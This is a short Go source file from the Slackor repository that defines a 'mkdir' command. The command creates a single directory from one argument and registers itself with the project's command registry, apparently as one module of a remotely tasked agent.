github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/common/mkdir.go (about)

     1  package common
     2  
     3  import (
     4  	"errors"
     5  	"os"
     6  
     7  	"github.com/n00py/Slackor/pkg/command"
     8  )
     9  
    10  // MkDir creates the given directory
    11  type MkDir struct{}
    12  
    13  // Name is the name of the command
    14  func (m MkDir) Name() string {
    15  	return "mkdir"
    16  }
    17  
    18  // Run creates the given directory
    19  func (m MkDir) Run(clientID string, jobID string, args []string) (string, error) {
    20  	if len(args) != 1 {
    21  		return "", errors.New("mkdir takes 1 argument")
    22  	}
    23  	path := args[0]
    24  	var err = os.Mkdir(path, os.FileMode(0522))
    25  	if err != nil {
    26  		return "", err
    27  	}
    28  	return path + " has been created.", nil
    29  }
    30  
    31  func init() {
    32  	command.RegisterCommand(MkDir{})
    33  }